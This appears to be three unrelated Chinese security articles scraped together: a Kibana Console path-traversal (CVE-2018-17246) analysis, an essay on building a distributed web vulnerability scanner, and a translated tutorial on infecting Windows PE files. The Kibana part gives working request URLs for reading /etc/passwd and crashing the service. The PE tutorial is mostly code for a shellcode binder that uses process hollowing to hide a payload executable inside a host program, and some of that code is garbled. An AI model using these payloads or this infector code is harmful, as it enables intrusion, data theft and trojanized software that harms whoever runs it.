不久前Elasticsearch发布了最新安全公告， Elasticsearch Kibana
6.4.3之前版本和5.6.13之前版本中的Console插件存在严重的本地文件包含漏洞可导致拒绝服务攻击、任意文件读取攻击、配合第三方应用反弹SHELL攻击，下文笔者对其漏洞背景、攻击原理和行为进行分析和复现。
## 0X01 影响范围
Elasticsearch
Kibana是荷兰Elasticsearch公司的一套开源的、基于浏览器的分析和搜索Elasticsearch仪表板工具，作为Elasticsearch的核心组件，Kibana可作为产品或服务提供，并与各种系统，产品，网站和企业中的其他Elastic
Stack产品配合使用。 由于Kibana在大数据领域用途较为广泛，此次漏洞影响范围较大， Shodan搜索结果如图
## 0x02 漏洞场景
笔者选择Kibana-6.1.1-linux-x86_64.tar.gz版本，搭建过程不表，网上很多参考资料
### 2.1、拒绝服务
拒绝服务笔者选择/cli_plugin/index.js演示，攻击向量如下
/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis= ../../../cli_plugin/index
GET请求发出去后客户端打不开应用页面，在服务端Kibana进程退出，应用服务挂掉具体看下图
### 2.2、任意文件读取
文件读取笔者选择/etc/passwd演示，攻击向量如下
/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../etc/passwd
GET请求发出去后客户端页面会抛出500错误，在服务端会将读取到的passwd内容抛出来，具体看下图
### 2.3、配合第三方应用
通常情况下Kibana与其他的应用程序一起部署，如果应用程序可以上传或者写入Javascript文件的话，攻击者可以通过Nodejs创建一个Reverse
Shell，内容如下
路径遍历允许攻击者访问Kibana服务器任何文件的位置，如下
Nc反弹监听得到交互会话
## 0X03 漏洞分析
漏洞污染点位于 \src\core_plugins\console\api_server\server.js
Apis得到的值传递给赋值参数name，从图上也能看到name变量的内容没有进行任何过滤被引入到require，而require模块在Nodejs里表示加载模块的方式，可以加载核心模块，例如内置的“http”，也可以是包含名为“index.js”这样的文件或目录如果参数以“/”、“./”、”../”开头则函数知道该模块是文件或者文件夹，继续跟进到函数asJson所在的api.js文件中
在同级目录下ES_5_0.js 中有一个这个类的导出实例
总结一下此函数的正常流程是获取导出API类实例并调用函数asJson的JavaScript文件的名称，但是忽略了过滤验证因此我们可以指定任意文件，配合目录跳转遍历就可以实现Kibana服务器上任意文件读取的操作。基于上述的分析很明显Nodejs应用程序需要大量的文件，如果这些文件里包含了process.exit指令，那么就可能关闭Kibana进程并导致拒绝服务攻击，通过搜索找到了三个可能的攻击向量
引发DOS攻击的向量
---
../../../cli_plugin/index.js
../../../cli_plugin/cli.js
../../../docs/cli.js
## 0x04 一点总结
LFI通常出现在PHP应用中，通样是require这次应用在Nodejs程序中，相信未来还会有更多的Nodejs程序存在这种问题，原因是本地包含漏洞出现了很多年，但依旧有很多软件开发人员和架构师没有考虑到这点，这篇文章很好的说明了Kibana中存在的一个关键LFI漏洞，使得攻击者能够在服务器上运行本地代码，可造成直接的危害就是拒绝服务攻击，若在生产环境下业务实在伤不起，需要引起对Nodejs
LFI的重视。
## 0x05 参考链接
<https://github.com/appsecco/vulnerable-apps/tree/master/node-reverse-shell>
<https://www.elastic.co/downloads/kibana>
<http://www.cnvd.org.cn/flaw/show/CNVD-2018-23907>
<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-17246> | 社区文章 |
作者：oxen@EnsecTeam
公众号：[EnsecTeam](https://mp.weixin.qq.com/s/FLFm9KRYQdS5HDYslaL98w "EnsecTeam")
提示：文章主要介绍扫描形态演变及大概设计，扫描服务最突出的问题点解决实践思考，大概阅读完所需时间10分钟左右。
#### 1 引言
在大型互联网公司中，面对5万+域名、7千万+的url，同时线上服务各种开源软件随意使用，各团队研发实力及各服务承压能力参差不齐，在人力极其有限的情况下，漏洞检测想做好其实压力和挑战非常大。你经常需要反省为啥漏洞发现时间滞后于外界白帽子，为啥漏洞未被扫描发现；如何保证扫描的超高准确率，如何保证线上扫描不影响服务正常运行；扫描存在异常时如何监控报警并自动恢复，外界爆出0day时如何做到不影响正在运行的扫描任务而通过调度使应急任务得到快速响应执行，扫描框架或POC更新时如何热备自动上线，如此等等；这里面的任何一点想做好挑战和困难都挺大，我们经过几年的实践，在这些方面有了一些自己的感悟，这里分享给大家。
#### 2 扫描服务形态演变
做Web漏洞检测这块好几年，漏洞检测的形态也经过了几次演变，由最开始的单机形态到集群，更多的是解决公司URL量太大导致可接受时间范围内无法扫描完成的窘境。
通过集群的确可以减少扫描的时间，但随之而来的是机器的非饱和使用导致资源的极度浪费，慢慢集群形态向分布式形式转换：
一台物理机根据其CPU核数及内存情况被虚拟成多台容器，以"单Poc+单Url"为基本单元，调度程序以基本单元为维度分配到存活的每台空闲虚拟容器中执行，降低了资源的浪费；同时分布式形态也能更好的满足应急扫描、容灾恢复等场景，具体后续再细说。扫描形态的转换过程中，独立的扫描脚本向集中的扫描框架方式转变也随之发生。
#### 3 扫描体系构建
基于分布式的集群形态，最终的扫描体系结构图如下：
##### 扫描场景及产品
整个扫描体系是基于云的分布式扫描平台，根据使用场景拆分为三个子平台，覆盖项目上线前及线上运行；其中上线前安全测试针对项目上线前进行漏洞提前发现，避免将安全漏洞带入到线上；线上例行是安全团队对线上所有业务进行完全自动化的每日例行漏洞巡检；产品自测则是提供给业务方针对线上业务一种安全自查方式，三者互补提升漏洞检测整体覆盖面。
##### 扫描架构及突出问题点
集群中每台物理机虚拟化成多个docker容器，每个docker容器中部署多扫描引擎镜像，引擎根据调度程序分配的基本单元，再去加载具体扫描能力poc运行特定的url；其中每个部分功能点简单介绍如下：
* 扫描集群支持优先级扫描、热备上线、url粒度监控及跟踪、扫描状态实时展示、容器粒度调度及伸缩；
* 扫描框架支持poc及fuzz模式、poc粒度扫描状态跟踪及灵活调度、集成通用逻辑简化poc开发实现；
* Poc除了传统扫描思路外，加入交互式探测思路，同时考虑逻辑绕过+利用验证机制，并结合回显平台、poc自动识别平台等来做到扫描能力的足够全的覆盖面和持续自我完善能力。
整个扫描架构涉及内容太多，就不一一细说了，主要拿之前的一个版本升级解决的几个case举例来说吧。做漏洞扫描服务的同学经常会对几个问题比较困惑或者无奈：
（1）扫描漏报排查
扫描POC明显覆盖但就是没有扫出，而且还被SRC报告，对负责扫描的同学来说不可接受（其实特别打脸，偷笑）；此时进行漏报排查必须要去复查扫描当时的场景（有可能刚好扫描后业务有变化导致引入的漏洞，或者刚好扫描时那个节点有异常等，其实各种情况都可能引起漏报）；当时扫描的信息就至关重要了：当时URL库中是否存在该url？是否在扫描集群中扫描过？曾经一共扫描了多少次？分别在什么时候扫描的？是在扫描集群的哪个节点上扫描的？当时扫描时该扫描节点是否存在异常？扫描poc是否存在异常？扫描集群是否存在异常？当时扫描时扫描结果是？工单是否推送正常？甚至于当时的响应是？这些我们统统需要知道。
为了解决这个问题，我们记录了一个URL从数据中心取出，到扫描集群、扫描框架、扫描节点、结果入库、工单推送等各个阶段所发生的一切关键行为，一旦有漏报发生排查就会比之前容易很多，以前基本就是无可奈何（没有当时场景，我能怎么办？怪我咯）。
（2）异常监控及诊断恢复
之前扫描存在异常时我们无法及时感知，往往都是外界报告了一个case，我们去排查才发现，这种其实就比较滞后和被动了；需要一种手段去感知异常，存在异常时能够自动报警，甚至在特定的场景下能够自动恢复续扫或者重扫。
为了漏扫排查我们记录了很多关键信息，在此基础上，我们慢慢发现异常监控也好做了，比如其实可以提前大概计算或者统计每种poc大概的平均扫描耗时，当poc真实在扫描节点上扫描时一旦明显偏离这个基准耗时，就可以认为这里存在一个异常点并进行记录，可以简单调度扫描框架重新扫描这个单元（"单poc+单url"）；比如当类似的异常点突然在某一时间点报出的特别多，此时就可以进行报警了，很有可能我们的扫描集群此时不健康需要人为干预排查。还比如一个扫描任务下发后，发现一个基本单元超时未返回结果，一样可以自动诊断并处理；还比如可以监控一段时间库中URL的入库量是否有异常、每天及每周的漏洞产出是否有异常（总漏洞产出量，单个poc漏洞产出量与基准值的对比衡量）、总的扫描时间是否有异常等，及对应的自动诊断恢复机制，最终判断是否需要人为干预。
（3）扫描优先级
由于扫描平台需要为测试环境，线上环境等进行测试服务，并且业务量本身就很大，导致扫描集群一直都是满负荷在运行，但是平时实际过程中，经常会有应急响应需求，需要进行应急扫描，此时如何保证紧急的任务能够第一时间执行呢？
以前只能等待扫描任务完成（可能需要等待很长时间，这是所不能接受的），才能执行本次紧急任务；为了不耽误紧急任务的执行，甚至平时只能搭建一个空闲集群，专门用于紧急任务执行，但是资源严重浪费；那是否可以考虑通过单一集群即可解决优先级的问题呢？
当然可以，通过优先级机制即可解决，优先任务优先分配、优先调度、优先扫描，通过三级优先队列来解决紧急扫描问题；同时在任务分配时候，以“单poc+单url”作为最小粒度，考虑poc发包量基础上，按照可用扫描节点进行平等拆分，这样即使集群没有空闲节点，一旦有紧急任务需要扫描，那么任务所需等待的时间最理想情况下将只需要等待“单个poc+单个url”所需要的扫描时间（资源足够情况下，这种理想情况其实很大概率会发生），这种不用浪费资源即可满足优先扫描难题。
（4）热备上线
安全扫描poc在方案调研及实现过程中，由于调研的不全面或者考虑的不严谨，肯定会出现误报或者漏报问题，这时候就需要通过更新poc予以解决，现在的难点是：扫描集群时刻都有任务在运行，为了更新任务只能热备上线，不然只能将未跑完的任务全部kill掉，这样既浪费扫描资源，又严重影响扫描及时度；通过内置升级更新模块，做到不干扰当前运行任务情况下，更新节点扫描镜像，做到热备上线。
##### 数据中心建设
接下来简单说下数据中心这部分，数据中心主要负责纯净url的收集入库，解析程序每天解析T级别的日志，如果不去重的话将得到亿级别的url，为了保证扫描的及时度，需要对url进行去重去脏，主要通过hash机制进行：
[https://www.baidu.com/test.php?a=1&b=2&c=3](https://www.baidu.com/test.php?a=1&b=2&c=3)
[https://www.baidu.com/test.php?c=10&a=20&b=30](https://www.baidu.com/test.php?c=10&a=20&b=30)
针对每条URL，去掉参数值并根据key进行排序，计算hash
=md5("https://www.baidu.com/test.php?a&b&c")，相同的认为两条URL是相似的，只保留一条URL即可（ps：当然这里存在后端代码逻辑覆盖不全的问题，因为有些后端逻辑是根据参数值进行判断的，覆盖这部分逻辑会导致待扫描的URL量急剧增加，被迫做了取舍，无奈的表情）。同时计算hash的时候还需要考虑几种特殊case：
path中含有随机字符串，比如：
/a/99c5e07b4d5de9d18c350cdf64c5aa3d
替换后：/a/U
/a/289dff07669d7a23de0ef88d2f7129e7
替换后：/a/U
计算hash之前替换随机字符串为特定的字符U，则上面两者可认为是相似的；同样path中包含有数字的（/a/123456789及/a/345678901）、中文编码的（/a/%E5%AE及/a/%E5%8F）也需要进行类似处理（严谨情况下用等同长度的U进行替换然后再计算hash，主要是扫描及时度和扫描的覆盖率之间的取舍）。
除了这些具有明显特征的case外，其实还存在很多无规则的case；本质我们其实是需要一种方法去判别path中伪静态的部分（path中根据"/"进行分割），针对伪静态的部分用相同长度的字符U进行替换即可；考虑用机器学习方法以分割部分的字符数量作为feature去判别，大部分的case其实都可以很好的识别出来，但不能很好区分纯小写字符的case，比如/api/yehdhee这种，最终通过引入Markov
Chain来进行区分，基本可以解决。
除了去重去脏外，还需要定期对库中已存在的url进行存活判断、404判断等，针对这部分url需要定期进行删除处理；不过url存活判断务必放在扫描脏数据净化之后（特指带有扫描攻击payloads的url），不然你可能会不幸成为攻击者攻击自身业务的帮手（偷笑）
#### 4 总结
扫描服务累计在线上运行好几年了，到目前为止已经非常成熟，基本做到了无需人为干预（存在重大bug时其实还是需要人为干预，偷笑），存在异常时自动监测报警并自动排查恢复，POC更新时自动热备更新、高优任务第一时间优先执行而不影响之前正常运行的扫描任务，扫描出来的漏洞准确率达到98%以上基本可以做到无需人工check，输入源URL存在的情况下漏报率更是控制在0.5%以下，每天例行的任务控制在2小时内结束，漏洞发现及时度大幅提升，高危漏洞滞后于外界白帽子的case少之又少（输入源url不缺失情况下），基本实现了我们之前的预期及目标。同时也深深领悟了一句话"扫描技术虽已成熟，但只有精心耕耘方能知晓其精髓，而刚触及其精髓才知挑战依旧"，分享给大家。
本文只是简单概述了整个扫描体系，如果对扫描集群、扫描框架、扫描POC、扫描策略等详细做法感兴趣的小伙伴可以继续关注后续"分布式Web漏洞扫描服务建设实践"系列技术文章。
* * * | 社区文章 |
# 【技术分享】PE文件感染技术（Part II）
|
##### 译文声明
本文是翻译文章，文章来源：0x00sec.org
原文地址：<https://0x00sec.org/t/pe-file-infection-part-ii/4135>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**一、简介**
一年多以前，我发表了[一篇文章](https://0x00sec.org/t/pe-file-infection/401)，介绍了如何使用shellcode来感染可执行文件。从那时起，我又学到了许多新的知识和新的技术，因此最近一段时间，我还想开发另一个PoC，再次完成这个任务。新的PoC与之前的方法途径相同，但融合了我所学的新知识及新技术，更加高级。在本文中，我会介绍一种文件“绑定（binding）”技术。之所以用到“绑定”这个词，原因与这个概念的最初构想有关，因为这个技术使用了与上一篇文章类似的感染机理。我创建了一个项目：[Arkhos](https://gitlab.s-3.tech/93aef0ce4dd141ece6f5/Arkhos)，这个项目的功能是使用一段shellcode（[AIDS](https://gitlab.s-3.tech/93aef0ce4dd141ece6f5/Arkhos/tree/master/AIDS)）来实现PoC效果。顺便提一下，AIDS指的是“Assimilative
Infection using Diabolical Shellcode”。
如果想理解并掌握该技术，所需的技能及知识点为：
**C/C++编程技术**
**WinAPI**
**Intel x86汇编技术**
**PE文件格式**
**RunPE/进程Hollow技术（Process Hollowing）**
下文中涉及的相关技术源于我个人对Windows内部机制的研究及理解，如果读者发现其中有何纰漏，请联系我，我会尽快改正。欢迎读者给出任何建设性意见或者建议。
**二、整体过程**
我们的目的是将一个可执行文件A合并到另一个可执行文件B中，具体方法是将一段引导型shellcode（bootstrap
shellcode）与可执行载荷结合起来，感染可执行文件B。感染成功后，新的入口点会指向我们设定的引导代码，引导代码首先会使用进程Hollow技术以新进程方式运行载荷，然后跳转到原始入口点，执行原始程序。
成功感染可执行文件后，其文件结构如下所示：
理想情况下，引导型shellcode可以填充到.text节（section）的代码洞（code
cave）中，然而，实际情况中，shellcode的大小可能较大，此时我们可以将其作为一个新的节附加到PE文件中。
**三、Shellcode**
**3.1 开发要点**
在开发shellcode之前，有些要点需要引起我们的注意。最重要的一点就是实现代码的位置无关特性。如果shellcode需要依赖硬编码的位置，那么对于另一个可执行文件来说，相关环境会发生变化，导致shellcode无法成功运行。因此，我们不能依赖一个导入表来调用WinAPI函数，需要这些函数时，我们必须解决字符串问题。
**3.2 动态获取WinAPI函数**
根据Windows对可执行文件的处理方式，我们在内存中总能看到两个DLL文件的身影： **kernel32.dll** 以及 **ntdll.dll**
。我们可以充分利用这个基础，获取由 **WinAPI**
提供的任何函数地址。在本文中，我们只需要使用这两个DLL文件导出的函数，因为这些函数足以满足我们的需求。
那么，我们如何才能做到这一点？最常见的方法是找到正在运行的程序的PEB结构，该结构的位置为 **fs:30h**
，然后我们就可以查找并遍历进程中的模块。比如，我们可以查找kernel32.dll和ntdll.dll的基地址。从这些基地址出发，我们可以像查找其他PE文件那样，解析模块的文件，遍历导出函数表，直到找到匹配结果。如果你想了解更详细的过程，你可以参考我写的[另一篇文章](https://0x00sec.org/t/understanding-a-win32-virus-background-material/1043)。实践是检验真理的唯一标准，上述过程的代码实现如下所示：
; get kernel32 base address
_get_kernel32:
moveax, [fs:0x30]
moveax, [eax + 0x0C]
moveax, [eax + 0x14]
moveax, [eax]
moveax, [eax]
moveax, [eax + 0x10]
ret
FARPROC GetKernel32Function(LPCSTR szFuncName) {
HMODULE hKernel32Mod = get_kernel32();
// get DOS header
PIMAGE_DOS_HEADER pidh = (PIMAGE_DOS_HEADER)(hKernel32Mod);
// get NT headers
PIMAGE_NT_HEADERS pinh = (PIMAGE_NT_HEADERS)((DWORD)hKernel32Mod + pidh->e_lfanew);
// find eat
PIMAGE_EXPORT_DIRECTORY pied = (PIMAGE_EXPORT_DIRECTORY)((DWORD)hKernel32Mod + pinh->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
// find export table functions
LPDWORD dwAddresses = (LPDWORD)((DWORD)hKernel32Mod + pied->AddressOfFunctions);
LPDWORD dwNames = (LPDWORD)((DWORD)hKernel32Mod + pied->AddressOfNames);
LPWORD wOrdinals = (LPWORD)((DWORD)hKernel32Mod + pied->AddressOfNameOrdinals);
// loop through all names of functions
for (int i = 0; i < pied->NumberOfNames; i++) {
LPSTR lpName = (LPSTR)((DWORD)hKernel32Mod + dwNames[i]);
if (!strcmp(szFuncName, lpName))
return (FARPROC)((DWORD)hKernel32Mod + dwAddresses[wOrdinals[i]]);
}
return NULL;
}
**3.3 动态计算字符串地址**
我们需要解决的另一个问题是字符串地址问题。字符串使用的是硬编码的地址，为了在运行时（run-time）找到这些地址，一种方法是使用delta
offset技巧来动态计算字符串的地址，相关计算代码如下所示：
string: db "Hello world!", 0
_get_loc:
call _loc
_loc:
pop edx
ret
_get_string:
call _get_loc ; get address of _loc
sub edx, _loc - string ; calculate address of string by subtracting
; the difference in bytes from _loc
mov eax, edx ; return the address of the string
ret
**3.4 其他依赖源**
其他地方可能会碰到一些依赖问题，比如对某些基础函数（如strlen）的依赖问题，因此我们也需要手动编写这些函数代码。为了避免在编译可执行文件过程中出现任何依赖问题，我选择使用C以及汇编语言，通过gcc以及nasm编译得到目标代码，然后使用ld手动完成链接过程。需要注意的是，函数调用有
**相对** 以及 **绝对** 两种形式。想使用相对形式（位置无关代码），它们必须使用E8十六进制操作码。
**四、编写Shellcode**
首先我想先谈谈shellcode代码，因为shellcode是binder程序中必需的一个组件。shellcode需要实现两个目标：以新进程方式运行载荷，然后继续执行原始程序。
具体步骤为：
1、在最后一个section中找到载荷。
2、创建一个挂起的（suspended）进程。
3、掏空进程，为载荷预留空间，空间大小对应从载荷映像（image）基址到映像结束所需的空间大小。
4、为载荷分配内存空间，解析载荷并将载荷写入正确的地址。
5、恢复挂起进程的执行，开始执行载荷。
6、跳转到原始程序的原始入口点。
**4.1 定位payload**
首先需要找到可执行文件最后一个section所对应的相关字节，具体方法为：
LPVOID GetPayload(LPVOID lpModule) {
// get DOS header
PIMAGE_DOS_HEADER pidh = (PIMAGE_DOS_HEADER)lpModule;
// get NT headers
PIMAGE_NT_HEADERS pinh = (PIMAGE_NT_HEADERS)((DWORD)lpModule + pidh->e_lfanew);
// find .text section
PIMAGE_SECTION_HEADER pishText = IMAGE_FIRST_SECTION(pinh);
// get last IMAGE_SECTION_HEADER
PIMAGE_SECTION_HEADER pishLast = (PIMAGE_SECTION_HEADER)(pishText + (pinh->FileHeader.NumberOfSections - 1));
return (LPVOID)(pinh->OptionalHeader.ImageBase + pishLast->VirtualAddress);
}
**GetPayload**
函数的任务非常简单。该函数可以得到一个指针，该指针指向可执行模块在内存中的基址，然后解析PE头部结构，从中我们可以得到一些必要的信息来定位我们寻找的那些节。我们可以使用IMAGE_FIRST_SECTION宏，计算由NT头部提供的偏移信息来找到第一个section。
**IMAGE_FIRST_SECTION** 宏的代码如下所示：
#define IMAGE_FIRST_SECTION( ntheader ) ((PIMAGE_SECTION_HEADER)
((ULONG_PTR)(ntheader) +
FIELD_OFFSET( IMAGE_NT_HEADERS, OptionalHeader ) +
((ntheader))->FileHeader.SizeOfOptionalHeader
))
与数组访问过程类似，利用第一个section的头部地址，我们可以根据section的数量计算偏移量，找到最后一个section的头部。一旦找到最后一个section的头部后，我们可以通过
**VirtualAddress**
字段找到相对虚拟地址（请记住我们面对的是内存中的可执行文件，而不是原始的文件），该地址与ImageBase相加后就能得到绝对虚拟地址。
**4.2 RunPE/进程Hollow技术（Process Hollowing）**
接下来我们需要模拟Windows映像加载器，将载荷加载到新进程的虚拟内存中。首先，我们需要一个进程，该进程是载荷的写入对象，我们可以使用
**CreateProcess** 来创建这个进程，在创建进程时指定CREATE_SUSPENDED标志，这样我们就能把进程的可执行模块换成我们自己的载荷。
// process info
STARTUPINFO si;
PROCESS_INFORMATION pi;
MyMemset(&pi, 0, sizeof(pi));
MyMemset(&si, 0, sizeof(si));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
// first create process as suspended
pfnCreateProcessA fnCreateProcessA = (pfnCreateProcessA)GetKernel32Function(0xA851D916);
fnCreateProcessA(szFileName, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED | DETACHED_PROCESS, NULL,NULL, &si, &pi);
我们需要使用原始程序的文件来创建新进程。新创建进程的当前状态如下所示（假设原始程序以及载荷使用同样的基址）：
需要注意的是，这里我们可能需要使用 **DETACHED_PROCESS**
标志，这样创建出的进程不是一个子进程，也就是说，如果原始程序所对应的进程结束运行，我们创建的进程也不会被终止。我们可以将wShowWindow字段的值设为SW_HIDE，但这里我会把它设置为SW_SHOW，以便显示载荷进程成功执行的结果。
为了能将载荷写入进程中，我们需要将正在使用的已分配的所有内存unmap掉，只要将基地址作为参数传递给 **ZwUnmapViewOfSection**
函数即可。
// unmap memory space for our process
pfnGetProcAddress fnGetProcAddress = (pfnGetProcAddress)GetKernel32Function(0xC97C1FFF);
pfnGetModuleHandleA fnGetModuleHandleA = (pfnGetModuleHandleA)GetKernel32Function(0xB1866570);
pfnZwUnmapViewOfSection fnZwUnmapViewOfSection = (pfnZwUnmapViewOfSection)fnGetProcAddressfnGetModuleHandleA(get_ntdll_string()), get_zwunmapviewofsection_string());
fnZwUnmapViewOfSection(pi.hProcess, (LPVOID)pinh->OptionalHeader.ImageBase);
新进程被掏空后的示意图如下：
现在，我们可以解析载荷的PE文件，将其写入进程的内存空间中。首先，在ImageBase地址处分配大小为SizeOfImage的一段空间，然后使用
**WriteProcessMemory** 将相关字节写入虚拟地址空间中。
// allocate virtual space for process
pfnVirtualAllocEx fnVirtualAllocEx = (pfnVirtualAllocEx)GetKernel32Function(0xE62E824D);
LPVOID lpAddress = fnVirtualAllocEx(pi.hProcess, (LPVOID)pinh->OptionalHeader.ImageBase, inh->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// write headers into memory
pfnWriteProcessMemory fnWriteProcessMemory = (pfnWriteProcessMemory)GetKernel32Function0x4F58972E);
fnWriteProcessMemory(pi.hProcess, (LPVOID)pinh->OptionalHeader.ImageBase, lpPayload, inh->OptionalHeader.SizeOfHeaders, NULL);
// write each section into memory
for (int i = 0; i < pinh->FileHeader.NumberOfSections; i++) {
// calculate section header of each section
PIMAGE_SECTION_HEADER pish = (PIMAGE_SECTION_HEADER)((DWORD)lpPayload + pidh->e_lfanew + sizeof(IMAGE_NT_HEADERS) + sizeof(IMAGE_SECTION_HEADER) * i);
// write section data into memory
fnWriteProcessMemory(pi.hProcess, (LPVOID)(pinh->OptionalHeader.ImageBase + pish->VirtualAddress), (LPVOID)((DWORD)lpPayload + pish->PointerToRawData), pish->SizeOfRawData, NULL);
}
在恢复进程之前，我们需要修改线程的上下文，以便将指令指针（instruction
pointer）的起始位置设置为AddressOfEntryPoint。这个步骤完成后，我们就可以安全启动载荷进程。
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
pfnGetThreadContext fnGetThreadContext = (pfnGetThreadContext)GetKernel32Function(0x649EB9C1);
fnGetThreadContext(pi.hThread, &ctx);
// set starting address at virtual address: address of entry point
ctx.Eax = pinh->OptionalHeader.ImageBase + pinh->OptionalHeader.AddressOfEntryPoint;
pfnSetThreadContext fnSetThreadContext = (pfnSetThreadContext)GetKernel32Function(0x5688CBD8);
fnSetThreadContext(pi.hThread, &ctx);
// resume our suspended processes
pfnResumeThread fnResumeThread = (pfnResumeThread)GetKernel32Function(0x3872BEB9);
fnResumeThread(pi.hThread);
最后，我们需要执行原始程序，这一步非常简单：
void(*oep)() = (void *)0x69696969;
oep();
这里我预留了一个占位符（0x69696969），对应原始的入口点，以方便binder程序修改。
**五、开发Binder程序**
Binder程序的任务相对简单些，只涉及一些文件I/O以及少量PE文件修改操作，具体为：
1、读取目标可执行文件。
2、读取载荷可执行文件。
3、将shellcode注入到合适的section中。
4、将载荷数据附加到新的section中。
5、生成结合后的可执行文件。
**5.1 提取shellcode**
编译完shellcode可执行文件后，该文件应该会对应一个空的导入表，并且所有的data section中都不包含任何数据。所需的所有数据都位于.text
section中，所以提取这些字节并将其写入binder的源码中并不是件难事：
this->shellcode = std::vector<BYTE>{ 0x50, 0x41, 0x59, 0x4C, ... };
**5.2 绑定（Binding）过程**
文件I/O代码十分简单，我会跳过这些代码，直接讨论绑定这两个程序的具体过程。存放shellcode的具体位置由两种情况来决定：如果.text
section的代码空间足够大，那么shellcode可以存放在这个位置，否则我们需要将其添加为一个新的section。由于这篇文章中我还没有演示如何追加一个新的section来存放数据，为了缩短文章篇幅，这里我只会演示如何使用.text
section来完成这个任务。我会在源码中介绍另一种方法。
在添加新section头部之前，我们需要检查是否有足够的空间来存放头部数据。我们需要将第一个section的原始地址与最后一个section尾部的原始地址相减，看结果是否大于等于新section头部大小。如果空间不够，那么绑定该文件的方法就不会那么简单。PE中有些字段用于描述section中的数据，只要理解参数含义，处理好对齐问题，那么创建一个新的section并不难。创建新的section后，我们可以将新头部填入新section的头部空间中，同时也要更新File
Header以及Optional Header的值。
// check code cave size in .text section
if (pishText->SizeOfRawData - pishText->Misc.VirtualSize >= this->shellcode.size()) {
// insert shellcode into .text section
} else {
// else create new executable section
// check space for new section header
// get last IMAGE_SECTION_HEADER
PIMAGE_SECTION_HEADER pishLast = (PIMAGE_SECTION_HEADER)(pishText + (pinh->FileHeader.NumberOfSections - 1));
PIMAGE_SECTION_HEADER pishNew = (PIMAGE_SECTION_HEADER)((DWORD)pishLast + IMAGE_SIZEOF_SECTION_HEADER);
if (pishText->PointerToRawData - (DWORD)pishNew < IMAGE_SIZEOF_SECTION_HEADER)
return false;
// create new section header
IMAGE_SECTION_HEADER ishNew;
::ZeroMemory(&ishNew, sizeof(ishNew));
::CopyMemory(ishNew.Name, ".aids", 5);
ishNew.Characteristics = IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ;
ishNew.SizeOfRawData = ALIGN(this->shellcode.size(), pinh->OptionalHeader.FileAlignment);
ishNew.VirtualAddress = ALIGN((pishLast->VirtualAddress + pishLast->Misc.VirtualSize), pinh->OptionalHeader.SectionAlignment);
ishNew.PointerToRawData = ALIGN((pishLast->PointerToRawData + pishLast->SizeOfRawData), pinh->OptionalHeader.FileAlignment);
ishNew.Misc.VirtualSize = this->shellcode.size();
// fix headers' values
pinh->FileHeader.NumberOfSections++;
pinh->OptionalHeader.SizeOfImage = ALIGN((pinh->OptionalHeader.SizeOfImage + ishNew.Misc.VirtualSize), pinh->OptionalHeader.SectionAlignment);
// manually calculate size of headers; unreliable
pinh->OptionalHeader.SizeOfHeaders = ALIGN((pinh->FileHeader.NumberOfSections * IMAGE_SIZEOF_SECTION_HEADER), pinh->OptionalHeader.FileAlignment);
// append new section header
::CopyMemory(pishNew, &ishNew, IMAGE_SIZEOF_SECTION_HEADER);
// append new section and copy to output
output.insert(output.end(), target.begin(), target.end());
output.insert(output.end(), this->shellcode.begin(), this->shellcode.end());
shellcode添加前后的示意图如下所示：
添加载荷section的过程基本相似，代码如下：
// append new payload section
// check space for new section header
// get DOS header
pidh = (PIMAGE_DOS_HEADER)output.data();
// get NT headers
pinh = (PIMAGE_NT_HEADERS)((DWORD)output.data() + pidh->e_lfanew);
// find .text section
pishText = IMAGE_FIRST_SECTION(pinh);
// get last IMAGE_SECTION_HEADER
pishLast = (PIMAGE_SECTION_HEADER)(pishText + (pinh->FileHeader.NumberOfSections - 1));
pishNew = (PIMAGE_SECTION_HEADER)((DWORD)pishLast + IMAGE_SIZEOF_SECTION_HEADER);
if (pishText->PointerToRawData - (DWORD)pishNew < IMAGE_SIZEOF_SECTION_HEADER)
return false;
// create new section header
::ZeroMemory(&ishNew, sizeof(ishNew));
::CopyMemory(ishNew.Name, ".payload", 8);
ishNew.Characteristics = IMAGE_SCN_MEM_READ | IMAGE_SCN_CNT_INITIALIZED_DATA;
ishNew.SizeOfRawData = ALIGN(payload.size(), pinh->OptionalHeader.FileAlignment);
ishNew.VirtualAddress = ALIGN((pishLast->VirtualAddress + pishLast->Misc.VirtualSize), pinh->OptionalHeader.SectionAlignment);
ishNew.PointerToRawData = ALIGN((pishLast->PointerToRawData + pishLast->SizeOfRawData), pinh->OptionalHeader.FileAlignment);
ishNew.Misc.VirtualSize = payload.size();
// fix headers' values
pinh->FileHeader.NumberOfSections++;
pinh->OptionalHeader.SizeOfImage = ALIGN((pinh->OptionalHeader.SizeOfImage + ishNew.Misc.VirtualSize), pinh->OptionalHeader.SectionAlignment);
pinh->OptionalHeader.SizeOfHeaders = ALIGN((pinh->OptionalHeader.SizeOfHeaders + IMAGE_SIZEOF_SECTION_HEADER), pinh->OptionalHeader.FileAlignment);
// append new section header
::CopyMemory(pishNew, &ishNew, IMAGE_SIZEOF_SECTION_HEADER);
// append new section and copy to output
output.insert(output.end(), payload.begin(), payload.end());
载荷添加前后的示意图如下所示：
最后一步是更新Optional Header中的入口点地址，替换shellcode中的入口点占位符。
// update address of entry point
// redefine headers
// get DOS header
pidh = (PIMAGE_DOS_HEADER)output.data();
// get NT headers
pinh = (PIMAGE_NT_HEADERS)((DWORD)output.data() + pidh->e_lfanew);
// find .text section
pishText = IMAGE_FIRST_SECTION(pinh);
// get .aids section (now is 2nd last)
pishLast = (PIMAGE_SECTION_HEADER)(pishText + (pinh->FileHeader.NumberOfSections - 2));
PIMAGE_SECTION_HEADER pishAids = pishLast;
// calculate new entry point
DWORD dwNewEntryPoint = pishAids->VirtualAddress + SHELLCODE_START_OFFSET;
